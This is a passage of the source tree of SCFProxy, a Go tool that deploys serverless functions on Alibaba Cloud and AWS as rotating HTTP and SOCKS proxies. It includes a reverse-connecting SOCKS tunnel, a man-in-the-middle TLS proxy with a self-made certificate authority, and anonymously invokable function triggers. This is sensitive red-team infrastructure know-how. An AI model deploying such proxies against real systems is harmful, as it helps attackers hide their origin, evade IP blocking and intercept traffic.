h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 76 | gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 77 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 78 | gopkg.in/yaml.v3 v3.0.0-20200615113413-eeeca48fe776/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 79 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 80 | rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= 81 | -------------------------------------------------------------------------------- /function/socks/pkg/server/proxy.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net" 7 | "strings" 8 | "time" 9 | 10 | "github.com/armon/go-socks5" 11 | "github.com/hashicorp/yamux" 12 | ) 13 | 14 | type Event struct { 15 | Key string 16 | Addr string 17 | Auth string 18 | } 19 | 20 | func Handle(event Event) error { 21 | user, pass := "", "" 22 | 23 | userpass := strings.SplitN(event.Auth, ":", 2) 24 | if len(userpass) == 2 { 25 | user, pass = userpass[0], userpass[1] 26 | } 27 | 28 | socksServer := createSocks5(user, pass) 29 | for { 30 | conn := keepConnect(event.Addr, event.Key) 31 | session, err := yamux.Server(conn, nil) 32 | if err != nil { 33 | continue 34 | } 35 | for { 36 | stream, err := session.Accept() 37 | if err != nil { 38 | break 39 | } 40 | go func() { 41 | err := socksServer.ServeConn(stream) 42 | if err != nil { 43 | fmt.Println(err) 44 | } 45 | }() 46 | } 47 | } 48 | } 49 | 50 | func createSocks5(username, password string) *socks5.Server { 51 | conf := &socks5.Config{} 52 | if username == "" && password == "" { 53 | conf.AuthMethods = []socks5.Authenticator{socks5.NoAuthAuthenticator{}} 54 | } else { 55 | cred := socks5.StaticCredentials{username: password} 56 | conf.Credentials = cred 57 | } 58 | server, err := socks5.New(conf) 59 | if err != nil { 60 | log.Fatal(err) 61 | } 62 | return server 63 | } 64 | 65 | func keepConnect(addr, key string) net.Conn { 66 | for i := 0; i < 5; i++ { 67 | conn, err := net.Dial("tcp", addr) 68 | if err != nil { 69 | if i == 4 { 70 | fmt.Printf("Connect to %s failed", conn.RemoteAddr().String()) 71 | return nil 72 | } 73 | time.Sleep(time.Duration((i+1)*5) * time.Second) 74 | fmt.Printf("[%d] Reconnecting\n", i) 75 | continue 76 | } 77 | conn.Write([]byte(key)) 78 | return conn 79 | } 80 | return nil 81 | } 82 | -------------------------------------------------------------------------------- /function/socks/pkg/tencent/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/tencentyun/scf-go-lib/cloudfunction" 5 | 6 | "socks/server" 7 | ) 8 | 9 | func main() { 10 | cloudfunction.Start(server.Handle) 11 | } 12 | -------------------------------------------------------------------------------- /function/socks/tencent: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/function/socks/tencent -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/shimmeris/SCFProxy 2 | 3 | go 1.19 4 | 5 | require ( 6 | github.com/alibabacloud-go/darabonba-openapi/v2 v2.0.2 7 | github.com/alibabacloud-go/fc-open-20210406 v1.1.14 8 | github.com/alibabacloud-go/tea v1.1.20 9 | github.com/alibabacloud-go/tea-utils/v2 v2.0.1 10 | github.com/aws/aws-sdk-go-v2 v1.17.3 11 | github.com/aws/aws-sdk-go-v2/credentials v1.13.7 12 | github.com/aws/aws-sdk-go-v2/service/apigateway v1.15.28 13 | github.com/aws/aws-sdk-go-v2/service/lambda v1.26.2 14 | github.com/google/martian/v3 v3.3.2 15 | github.com/hashicorp/yamux v0.1.1 16 | github.com/huaweicloud/huaweicloud-sdk-go-v3 v0.1.7 17 | github.com/olekukonko/tablewriter v0.0.5 18 | github.com/pelletier/go-toml v1.9.5 19 | github.com/sirupsen/logrus v1.9.0 20 | github.com/spf13/cobra v1.6.1 21 | github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/apigateway v1.0.556 22 | github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common v1.0.556 23 | github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/scf v1.0.556 24 | golang.org/x/exp v0.0.0-20221211140036-ad323defaf05 25 | ) 26 | 27 | require ( 28 | github.com/alibabacloud-go/alibabacloud-gateway-fc-util v0.0.6 // indirect 29 | github.com/alibabacloud-go/alibabacloud-gateway-spi v0.0.4 // indirect 30 | github.com/alibabacloud-go/debug v0.0.0-20190504072949-9472017b5c68 // indirect 31 | github.com/alibabacloud-go/endpoint-util v1.1.1 // indirect 32 | github.com/alibabacloud-go/openapi-util v0.1.0 // indirect 33 | github.com/alibabacloud-go/tea-utils v1.4.5 // indirect 34 | github.com/alibabacloud-go/tea-xml v1.1.2 // indirect 35 | github.com/aliyun/credentials-go v1.2.4 // indirect 36 | github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.27 // indirect 37 | github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.21 // indirect 38 | github.com/aws/smithy-go v1.13.5 // indirect 39 | github.com/clbanning/mxj/v2 v2.5.7 // indirect 40 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 41 | github.com/jmespath/go-jmespath v0.4.0 // indirect 42 | github.com/json-iterator/go v1.1.12 // indirect 43 | github.com/kr/text v0.2.0 // indirect 44 | github.com/mattn/go-runewidth v0.0.14 // indirect 45 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 46 | github.com/modern-go/reflect2 v1.0.2 // indirect 47 | github.com/pkg/errors v0.9.1 // indirect 48 | github.com/rivo/uniseg v0.4.3 // indirect 49 | github.com/spf13/pflag v1.0.5 // indirect 50 | github.com/stretchr/testify v1.8.1 // indirect 51 | github.com/tjfoc/gmsm v1.4.1 // indirect 52 | golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e // indirect 53 | golang.org/x/net v0.4.0 // indirect 54 | golang.org/x/sys v0.3.0 // indirect 55 | golang.org/x/text v0.5.0 // indirect 56 | google.golang.org/genproto v0.0.0-20221024183307-1bc688fe9f3e // indirect 57 | google.golang.org/grpc v1.50.1 // indirect 58 | google.golang.org/protobuf v1.28.1 // indirect 59 | gopkg.in/ini.v1 v1.67.0 // indirect 60 | gopkg.in/yaml.v3 v3.0.1 // indirect 61 | ) 62 | -------------------------------------------------------------------------------- /http/modifier.go: -------------------------------------------------------------------------------- 1 | package http 2 | 3 | import ( 4 | "bytes" 5 | "encoding/base64" 6 | "encoding/json" 7 | "errors" 8 | "fmt" 9 | "io" 10 | "math/rand" 11 | "net" 12 | "net/http" 13 | "strings" 14 | "time" 15 | 16 | "github.com/google/martian/v3" 17 | "github.com/sirupsen/logrus" 18 | ) 19 | 20 | func init() { 21 | rand.Seed(time.Now().UnixNano()) 22 | } 23 | 24 | type ScfModifier struct { 25 | apis []string 26 | length int 27 | port string 28 | } 29 | 30 | type httpRequest struct { 31 | Method string `json:"method"` 32 | Url string `json:"url"` 33 | Header map[string]string `json:"headers"` 34 | Body string `json:"body"` 35 | } 36 | 37 | type httpResponse struct { 38 | Url string `json:"url"` 39 | Code int `json:"status_code"` 40 | Header map[string]string `json:"headers"` 41 | Body string `json:"content"` 42 | } 43 | 44 | func NewScfModifier(apis []string, lport string) (*ScfModifier, error) { 45 | length := len(apis) 46 | return &ScfModifier{apis: apis, length: length, port: lport}, nil 47 | } 48 | 49 | func (m *ScfModifier) ModifyRequest(req *http.Request) error { 50 | // Prevent scfproxy from recursively connecting to itself. 51 | remoteIp, _, _ := net.SplitHostPort(req.RemoteAddr) 52 | if remoteIp == req.URL.Hostname() && m.port == req.URL.Port() { 53 | ctx := martian.NewContext(req) 54 | ctx.SkipRoundTrip() 55 | return errors.New("Detecting recursive connection") 56 | } 57 | 58 | if req.Method == http.MethodConnect { 59 | return nil 60 | } 61 | 62 | headers := make(map[string]string) 63 | for k := range req.Header { 64 | headers[k] = strings.Join(req.Header.Values(k), ",") 65 | } 66 | 67 | rawBody, err := io.ReadAll(req.Body) 68 | if err != nil { 69 | logrus.Debugf("Error reading request body") 70 | return err 71 | } 72 | req.Body.Close() 73 | base64Body := base64.StdEncoding.EncodeToString(rawBody) 74 | 75 | hr := httpRequest{Method: req.Method, Url: req.URL.String(), Header: headers, Body: base64Body} 76 | data, err := json.Marshal(hr) 77 | if err != nil { 78 | return err 79 | } 80 | 81 | scfApi := m.pickRandomApi() 82 | logrus.Debugf("%s - %s", req.URL, scfApi) 83 | scfReq, err := http.NewRequest("POST", scfApi, bytes.NewReader(data)) 84 | *req = *scfReq 85 | 86 | return nil 87 | } 88 | 89 | func (m *ScfModifier) ModifyResponse(res *http.Response) error { 90 | if res.Request.Method == http.MethodConnect { 91 | return nil 92 | } 93 | 94 | rawBody, err := io.ReadAll(res.Body) 95 | res.Body.Close() 96 | 97 | var hr httpResponse 98 | err = json.Unmarshal(rawBody, &hr) 99 | if err != nil { 100 | logrus.Debugf("Error Unmarshaling %s", string(rawBody)) 101 | return err 102 | } 103 | 104 | res.StatusCode = hr.Code 105 | res.Status = fmt.Sprintf("%d %s", hr.Code, http.StatusText(hr.Code)) 106 | 107 | res.Header = http.Header{} 108 | for k, v := range hr.Header { 109 | res.Header.Set(k, v) 110 | } 111 | 112 | body, err := base64.StdEncoding.DecodeString(hr.Body) 113 | if err != nil { 114 | logrus.Debugf("Error decoding base64 %s", hr.Body) 115 | return err 116 | } 117 | res.Body = io.NopCloser(bytes.NewReader(body)) 118 | res.ContentLength = int64(len(body)) 119 | 120 | return nil 121 | } 122 | 123 | func (m *ScfModifier) pickRandomApi() string { 124 | n := rand.Intn(m.length) 125 | return m.apis[n] 126 | } 127 | -------------------------------------------------------------------------------- /http/proxy.go: -------------------------------------------------------------------------------- 1 | package http 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "net" 7 | "os" 8 | "os/signal" 9 | "syscall" 10 | 11 | "github.com/google/martian/v3" 12 | "github.com/google/martian/v3/mitm" 13 | "github.com/sirupsen/logrus" 14 | ) 15 | 16 | type Options struct { 17 | ListenAddr string 18 | CertPath string 19 | KeyPath string 20 | Apis []string 21 | } 22 | 23 | func ServeProxy(opts *Options) error { 24 | p := martian.NewProxy() 25 | defer p.Close() 26 | 27 | // Prevent scfproxy from recursively connecting to itself. 28 | _, lport, _ := net.SplitHostPort(opts.ListenAddr) 29 | p.SetDial(func(network, address string) (net.Conn, error) { 30 | host, port, _ := net.SplitHostPort(address) 31 | if port == lport && (host == "localhost" || host == "127.0.0.1" || host == "::1") { 32 | return nil, errors.New("Detecting recursive connection") 33 | } 34 | return net.Dial(network, address) 35 | }) 36 | 37 | l, err := net.Listen("tcp", opts.ListenAddr) 38 | if err != nil { 39 | logrus.Fatal(err) 40 | } 41 | 42 | if err := configureTls(p, opts.CertPath, opts.KeyPath); err != nil { 43 | logrus.Error(err) 44 | } 45 | 46 | modifier, err := NewScfModifier(opts.Apis, lport) 47 | if err != nil { 48 | return err 49 | } 50 | 51 | p.SetRequestModifier(modifier) 52 | p.SetResponseModifier(modifier) 53 | 54 | go func() { 55 | c := make(chan os.Signal, 1) 56 | signal.Notify(c, os.Interrupt, syscall.SIGTERM) 57 | go func() { 58 | <-c 59 | os.Exit(0) 60 | }() 61 | }() 62 | 63 | fmt.Printf("HTTP proxy listening at %s\n", opts.ListenAddr) 64 | return p.Serve(l) 65 | } 66 | 67 | func configureTls(p *martian.Proxy, certPath, keyPath string) error { 68 | x509c, pk, err := GetX509KeyPair(certPath, keyPath) 69 | if err != nil { 70 | return err 71 | } 72 | 73 | mc, err := mitm.NewConfig(x509c, pk) 74 | if err != nil { 75 | return err 76 | } 77 | 78 | p.SetMITM(mc) 79 | return nil 80 | 81 | } 82 | -------------------------------------------------------------------------------- /http/tls.go: -------------------------------------------------------------------------------- 1 | package http 2 | 3 | import ( 4 | "crypto" 5 | "crypto/tls" 6 | "crypto/x509" 7 | "encoding/pem" 8 | "os" 9 | "time" 10 | 11 | "github.com/shimmeris/SCFProxy/fileutil" 12 | 13 | "github.com/google/martian/v3/mitm" 14 | ) 15 | 16 | func GetX509KeyPair(certPath, keyPath string) (*x509.Certificate, crypto.PrivateKey, error) { 17 | 18 | if !fileutil.PathExists(certPath) || !fileutil.PathExists(keyPath) { 19 | if err := GenerateCert(certPath, keyPath); err != nil { 20 | return nil, nil, err 21 | } 22 | } 23 | 24 | tlsc, err := tls.LoadX509KeyPair(certPath, keyPath) 25 | if err != nil { 26 | return nil, nil, err 27 | } 28 | pk := tlsc.PrivateKey 29 | 30 | cert, err := x509.ParseCertificate(tlsc.Certificate[0]) 31 | if err != nil { 32 | return nil, nil, err 33 | } 34 | 35 | return cert, pk, err 36 | } 37 | 38 | func GenerateCert(certPath, keyPath string) error { 39 | cert, pk, err := mitm.NewAuthority("SCFProxy", "Martian Authority", 365*24*time.Hour) 40 | if err != nil { 41 | return err 42 | } 43 | 44 | certFile, err := os.Create(certPath) 45 | if err != nil { 46 | return err 47 | } 48 | defer certFile.Close() 49 | 50 | keyFile, err := os.Create(keyPath) 51 | if err != nil { 52 | return err 53 | } 54 | defer keyFile.Close() 55 | 56 | if err := pem.Encode(certFile, &pem.Block{Type: "CERTIFICATE", Bytes: cert.Raw}); err != nil { 57 | return err 58 | } 59 | return pem.Encode(keyFile, &pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(pk)}) 60 | 61 | } 62 | -------------------------------------------------------------------------------- /img/aliyun_accountid.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/img/aliyun_accountid.jpg -------------------------------------------------------------------------------- /img/cs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/img/cs.png -------------------------------------------------------------------------------- /img/frp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/img/frp.png -------------------------------------------------------------------------------- /img/http.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/img/http.jpg -------------------------------------------------------------------------------- /img/mysql.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/img/mysql.jpg -------------------------------------------------------------------------------- /img/reverse_shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/img/reverse_shell.png -------------------------------------------------------------------------------- /img/socks.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/img/socks.jpg -------------------------------------------------------------------------------- /img/wechat.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/img/wechat.jpg -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/shimmeris/SCFProxy/cmd" 5 | ) 6 | 7 | func main() { 8 | cmd.Execute() 9 | } 10 | -------------------------------------------------------------------------------- /sdk/options.go: -------------------------------------------------------------------------------- 1 | package sdk 2 | 3 | type FunctionOpts struct { 4 | Namespace string 5 | FunctionName string 6 | TriggerName string 7 | OnlyTrigger bool 8 | } 9 | 10 | type ReverseProxyOpts struct { 11 | Origin string 12 | ServiceId string 13 | ApiId string 14 | PluginId string 15 | Ips []string 16 | } 17 | -------------------------------------------------------------------------------- /sdk/provider.go: -------------------------------------------------------------------------------- 1 | package sdk 2 | 3 | type Provider interface { 4 | Name() string 5 | Region() string 6 | } 7 | 8 | type HttpProxyProvider interface { 9 | Provider 10 | DeployHttpProxy(*FunctionOpts) (string, error) 11 | ClearHttpProxy(*FunctionOpts) error 12 | } 13 | 14 | type SocksProxyProvider interface { 15 | Provider 16 | DeploySocksProxy(*FunctionOpts) error 17 | ClearSocksProxy(*FunctionOpts) error 18 | InvokeFunction(*FunctionOpts, string) error 19 | } 20 | 21 | type ReverseProxyProvider interface { 22 | Provider 23 | DeployReverseProxy(*ReverseProxyOpts) (*DeployReverseProxyResult, error) 24 | ClearReverseProxy(*ReverseProxyOpts) error 25 | } 26 | -------------------------------------------------------------------------------- /sdk/provider/alibaba/http.go: -------------------------------------------------------------------------------- 1 | package alibaba 2 | 3 | import ( 4 | fcopen "github.com/alibabacloud-go/fc-open-20210406/client" 5 | "github.com/alibabacloud-go/tea/tea" 6 | 7 | "github.com/shimmeris/SCFProxy/function" 8 | "github.com/shimmeris/SCFProxy/sdk" 9 | ) 10 | 11 | func (p *Provider) DeployHttpProxy(opts *sdk.FunctionOpts) (string, error) { 12 | if err := p.createService(opts.Namespace); err != nil { 13 | return "", err 14 | } 15 | 16 | if err := p.createHttpFunction(opts.Namespace, opts.FunctionName); err != nil { 17 | return "", err 18 | } 19 | 20 | api, err := p.createHttpTrigger(opts.Namespace, opts.FunctionName, opts.TriggerName) 21 | if err != nil { 22 | return "", err 23 | } 24 | return api, err 25 | } 26 | 27 | func (p *Provider) ClearHttpProxy(opts *sdk.FunctionOpts) error { 28 | if err := p.deleteTrigger(opts.Namespace, opts.FunctionName, opts.TriggerName); err != nil { 29 | return err 30 | } 31 | 32 | if opts.OnlyTrigger { 33 | return nil 34 | } 35 | 36 | return p.deleteFunction(opts.Namespace, opts.FunctionName) 37 | } 38 | 39 | func (p *Provider) createService(serviceName string) error { 40 | h := &fcopen.CreateServiceHeaders{} 41 | r := &fcopen.CreateServiceRequest{ServiceName: tea.String(serviceName)} 42 | _, err := p.fclient.CreateServiceWithOptions(r, h, p.runtime) 43 | if err != nil { 44 | if err, ok := err.(*tea.SDKError); !ok || *err.StatusCode != 409 { 45 | return err 46 | } 47 | } 48 | return nil 49 | } 50 | 51 | func (p *Provider) createHttpFunction(serviceName, functionName string) error { 52 | h := &fcopen.CreateFunctionHeaders{} 53 | r := &fcopen.CreateFunctionRequest{ 54 | FunctionName: tea.String(functionName), 55 | Runtime: tea.String("python3.9"), 56 | Handler: tea.String("index.handler"), 57 | Timeout: tea.Int32(10), 58 | MemorySize: tea.Int32(128), 59 | Code: &fcopen.Code{ 60 | ZipFile: tea.String(function.AlibabaHttpCodeZip), 61 | }, 62 | } 63 | 64 | _, err := p.fclient.CreateFunctionWithOptions(tea.String(serviceName), r, h, p.runtime) 65 | if err != nil { 66 | if err, ok := err.(*tea.SDKError); !ok || *err.StatusCode != 409 { 67 | return err 68 | } 69 | } 70 | return nil 71 | } 72 | 73 | func (p *Provider) createHttpTrigger(serviceName, functionName, triggerName string) (string, error) { 74 | h := &fcopen.CreateTriggerHeaders{} 75 | r := &fcopen.CreateTriggerRequest{ 76 | TriggerType: tea.String("http"), 77 | TriggerName: tea.String(triggerName), 78 | TriggerConfig: tea.String("{\"authType\": \"anonymous\", \"methods\": [\"POST\"]}"), 79 | } 80 | 81 | res, err := p.fclient.CreateTriggerWithOptions(tea.String(serviceName), tea.String(functionName), r, h, p.runtime) 82 | if err != nil { 83 | return "", err 84 | } 85 | return *res.Body.UrlInternet, nil 86 | } 87 | 88 | func (p *Provider) deleteService(serviceName string) error { 89 | h := &fcopen.DeleteServiceHeaders{} 90 | _, err := p.fclient.DeleteServiceWithOptions(tea.String(serviceName), h, p.runtime) 91 | if err != nil { 92 | if err, ok := err.(*tea.SDKError); !ok || *err.StatusCode != 404 { 93 | return err 94 | } 95 | } 96 | return nil 97 | } 98 | 99 | func (p *Provider) deleteFunction(serviceName, functionName string) error { 100 | h := &fcopen.DeleteFunctionHeaders{} 101 | _, err := p.fclient.DeleteFunctionWithOptions(tea.String(serviceName), tea.String(functionName), h, p.runtime) 102 | if err != nil { 103 | if err, ok := err.(*tea.SDKError); !ok || *err.StatusCode != 404 { 104 | return err 105 | } 106 | } 107 | return nil 108 | } 109 | 110 | func (p *Provider) deleteTrigger(serviceName, functionName, triggerName string) error { 111 | deleteTriggerHeaders := &fcopen.DeleteTriggerHeaders{} 112 | _, err := p.fclient.DeleteTriggerWithOptions( 113 | tea.String(serviceName), 114 | tea.String(functionName), 115 | tea.String(triggerName), 116 | deleteTriggerHeaders, 117 | p.runtime, 118 | ) 119 | if err != nil { 120 | if err, ok := err.(*tea.SDKError); !ok || *err.StatusCode != 404 { 121 | return err 122 | } 123 | } 124 | return nil 125 | } 126 | -------------------------------------------------------------------------------- /sdk/provider/alibaba/provider.go: -------------------------------------------------------------------------------- 1 | package alibaba 2 | 3 | import ( 4 | "fmt" 5 | 6 | openapi "github.com/alibabacloud-go/darabonba-openapi/v2/client" 7 | fcopen "github.com/alibabacloud-go/fc-open-20210406/client" 8 | util "github.com/alibabacloud-go/tea-utils/v2/service" 9 | "github.com/alibabacloud-go/tea/tea" 10 | ) 11 | 12 | type Provider struct { 13 | region string 14 | fclient *fcopen.Client 15 | runtime *util.RuntimeOptions 16 | } 17 | 18 | func New(accessKeyId, accessKeySecret, accountId, region string) (*Provider, error) { 19 | auth := &openapi.Config{ 20 | AccessKeyId: tea.String(accessKeyId), 21 | AccessKeySecret: tea.String(accessKeySecret), 22 | RegionId: tea.String(region), 23 | Endpoint: tea.String(fmt.Sprintf("%s.%s.fc.aliyuncs.com", accountId, region)), 24 | } 25 | 26 | fclient, err := fcopen.NewClient(auth) 27 | if err != nil { 28 | return nil, err 29 | } 30 | 31 | provider := &Provider{ 32 | region: region, 33 | fclient: fclient, 34 | runtime: &util.RuntimeOptions{}, 35 | } 36 | return provider, nil 37 | } 38 | 39 | func (p *Provider) Name() string { 40 | return "alibaba" 41 | } 42 | 43 | func (p *Provider) Region() string { 44 | return p.region 45 | } 46 | 47 | func Regions() []string { 48 | return []string{ 49 | "ap-northeast-1", 50 | "ap-south-1", 51 | "ap-southeast-1", 52 | "ap-southeast-2", 53 | "ap-southeast-3", 54 | "ap-southeast-5", 55 | "cn-beijing", 56 | "cn-chengdu", 57 | "cn-hangzhou", 58 | "cn-hongkong", 59 | "cn-huhehaote", 60 | "cn-qingdao", 61 | "cn-shanghai", 62 | "cn-shenzhen", 63 | "cn-zhangjiakou", 64 | "eu-central-1", 65 | "eu-west-1", 66 | "us-east-1", 67 | "us-west-1", 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /sdk/provider/alibaba/socks.go: -------------------------------------------------------------------------------- 1 | package alibaba 2 | 3 | import ( 4 | fcopen "github.com/alibabacloud-go/fc-open-20210406/client" 5 | "github.com/alibabacloud-go/tea/tea" 6 | 7 | "github.com/shimmeris/SCFProxy/function" 8 | "github.com/shimmeris/SCFProxy/sdk" 9 | ) 10 | 11 | func (p *Provider) DeploySocksProxy(opts *sdk.FunctionOpts) error { 12 | if err := p.createService(opts.Namespace); err != nil { 13 | return err 14 | } 15 | return p.createSocksFunction(opts.Namespace, opts.FunctionName) 16 | } 17 | 18 | func (p *Provider) ClearSocksProxy(opts *sdk.FunctionOpts) error { 19 | return p.deleteFunction(opts.Namespace, opts.FunctionName) 20 | } 21 | 22 | func (p *Provider) createSocksFunction(serviceName, functionName string) error { 23 | h := &fcopen.CreateFunctionHeaders{} 24 | r := &fcopen.CreateFunctionRequest{ 25 | FunctionName: tea.String(functionName), 26 | Runtime: tea.String("go1"), 27 | Handler: tea.String("main"), 28 | Timeout: tea.Int32(900), 29 | MemorySize: tea.Int32(128), 30 | Code: &fcopen.Code{ 31 | ZipFile: tea.String(function.AlibabaSocksCodeZip), 32 | }, 33 | } 34 | 35 | _, err := p.fclient.CreateFunctionWithOptions(tea.String(serviceName), r, h, p.runtime) 36 | if err != nil { 37 | if err, ok := err.(*tea.SDKError); !ok || *err.StatusCode != 409 { 38 | return err 39 | } 40 | } 41 | return nil 42 | } 43 | 44 | func (p *Provider) InvokeFunction(opts *sdk.FunctionOpts, message string) error { 45 | h := &fcopen.InvokeFunctionHeaders{XFcInvocationType: tea.String("Async")} 46 | r := &fcopen.InvokeFunctionRequest{Body: []byte(message)} 47 | 48 | _, err := p.fclient.InvokeFunctionWithOptions(tea.String(opts.Namespace), tea.String(opts.FunctionName), r, h, p.runtime) 49 | return err 50 | } 51 | -------------------------------------------------------------------------------- /sdk/provider/aws/http.go: -------------------------------------------------------------------------------- 1 | package aws 2 | 3 | import ( 4 | "errors" 5 | 6 | "github.com/aws/aws-sdk-go-v2/aws" 7 | "github.com/aws/aws-sdk-go-v2/service/lambda" 8 | "github.com/aws/aws-sdk-go-v2/service/lambda/types" 9 | 10 | "github.com/shimmeris/SCFProxy/function" 11 | "github.com/shimmeris/SCFProxy/sdk" 12 | ) 13 | 14 | func (p *Provider) DeployHttpProxy(opts *sdk.FunctionOpts) (string, error) { 15 | if !opts.OnlyTrigger { 16 | if err := p.createHttpFunction(opts.FunctionName); err != nil { 17 | return "", err 18 | } 19 | 20 | if err := p.addPermission(opts.FunctionName); err != nil { 21 | return "", err 22 | } 23 | } 24 | 25 | api, err := p.createHttpTrigger(opts.FunctionName) 26 | if err != nil { 27 | return "", err 28 | } 29 | return api, nil 30 | } 31 | 32 | func (p *Provider) ClearHttpProxy(opts *sdk.FunctionOpts) error { 33 | if err := p.deleteHttpTrigger(opts.FunctionName); err != nil { 34 | return err 35 | } 36 | 37 | if opts.OnlyTrigger { 38 | return nil 39 | } 40 | 41 | return p.deleteFunction(opts.FunctionName) 42 | } 43 | 44 | func (p *Provider) createHttpFunction(functionName string) error { 45 | input := &lambda.CreateFunctionInput{ 46 | FunctionName: aws.String(functionName), 47 | Code: &types.FunctionCode{ZipFile: []byte(function.AwsHttpCodeZip)}, 48 | Handler: aws.String("index.handler"), 49 | MemorySize: aws.Int32(128), 50 | Architectures: []types.Architecture{types.ArchitectureArm64}, 51 | Timeout: aws.Int32(10), 52 | Runtime: types.RuntimePython39, 53 | PackageType: types.PackageTypeZip, 54 | Role: p.roleArn, 55 | } 56 | 57 | _, err := p.fclient.CreateFunction(p.ctx, input) 58 | return err 59 | } 60 | 61 | func (p *Provider) createHttpTrigger(functionName string) (string, error) { 62 | input := &lambda.CreateFunctionUrlConfigInput{ 63 | FunctionName: aws.String(functionName), 64 | AuthType: types.FunctionUrlAuthTypeNone, 65 | } 66 | 67 | output, err := p.fclient.CreateFunctionUrlConfig(p.ctx, input) 68 | if err != nil { 69 | return "", err 70 | } 71 | return *output.FunctionUrl, nil 72 | } 73 | 74 | func (p *Provider) addPermission(functionName string) error { 75 | input := &lambda.AddPermissionInput{ 76 | FunctionName: aws.String(functionName), 77 | Action: aws.String("lambda:InvokeFunctionUrl"), 78 | FunctionUrlAuthType: types.FunctionUrlAuthTypeNone, 79 | Principal: aws.String("*"), 80 | StatementId: aws.String("FunctionURLAllowPublicAccess"), 81 | } 82 | 83 | _, err := p.fclient.AddPermission(p.ctx, input) 84 | return err 85 | } 86 | 87 | func (p *Provider) deleteFunction(functionName string) error { 88 | input := &lambda.DeleteFunctionInput{ 89 | FunctionName: aws.String(functionName), 90 | } 91 | 92 | _, err := p.fclient.DeleteFunction(p.ctx, input) 93 | if err != nil { 94 | var rnf *types.ResourceNotFoundException 95 | if errors.As(err, &rnf) { 96 | return nil 97 | } 98 | } 99 | return err 100 | } 101 | 102 | func (p *Provider) deleteHttpTrigger(functionName string) error { 103 | input := &lambda.DeleteFunctionUrlConfigInput{ 104 | FunctionName: aws.String(functionName), 105 | } 106 | 107 | _, err := p.fclient.DeleteFunctionUrlConfig(p.ctx, input) 108 | if err != nil { 109 | var rnf *types.ResourceNotFoundException 110 | if errors.As(err, &rnf) { 111 | return nil 112 | } 113 | } 114 | return err 115 | } 116 | -------------------------------------------------------------------------------- /sdk/provider/aws/provider.go: -------------------------------------------------------------------------------- 1 | package aws 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/aws/aws-sdk-go-v2/aws" 7 | "github.com/aws/aws-sdk-go-v2/credentials" 8 | "github.com/aws/aws-sdk-go-v2/service/apigateway" 9 | "github.com/aws/aws-sdk-go-v2/service/lambda" 10 | ) 11 | 12 | type Provider struct { 13 | fclient *lambda.Client 14 | gclient *apigateway.Client 15 | region string 16 | roleArn *string 17 | ctx context.Context 18 | } 19 | 20 | func New(accessKey, secretKey, region, roleArn string) (*Provider, error) { 21 | creds := aws.NewCredentialsCache(credentials.NewStaticCredentialsProvider(accessKey, secretKey, "")) 22 | 23 | return &Provider{ 24 | fclient: lambda.New(lambda.Options{ 25 | Region: region, 26 | Credentials: creds, 27 | }), 28 | gclient: apigateway.New(apigateway.Options{ 29 | Region: region, 30 | Credentials: creds, 31 | }), 32 | region: region, 33 | roleArn: aws.String(roleArn), 34 | ctx: context.TODO(), 35 | }, nil 36 | } 37 | 38 | func (p *Provider) Name() string { 39 | return "aws" 40 | } 41 | 42 | func (p *Provider) Region() string { 43 | return p.region 44 | } 45 | 46 | func Regions() []string { 47 | return []string{ 48 | "us-east-2", 49 | "us-east-1", 50 | "us-west-1", 51 | "us-west-2", 52 | "af-south-1", 53 | "ap-east-1", 54 | "ap-southeast-3", 55 | "ap-south-1", 56 | "ap-northeast-3", 57 | "ap-northeast-2", 58 | "ap-southeast-1", 59 | "ap-southeast-2", 60 | "ap-northeast-1", 61 | "ca-central-1", 62 | 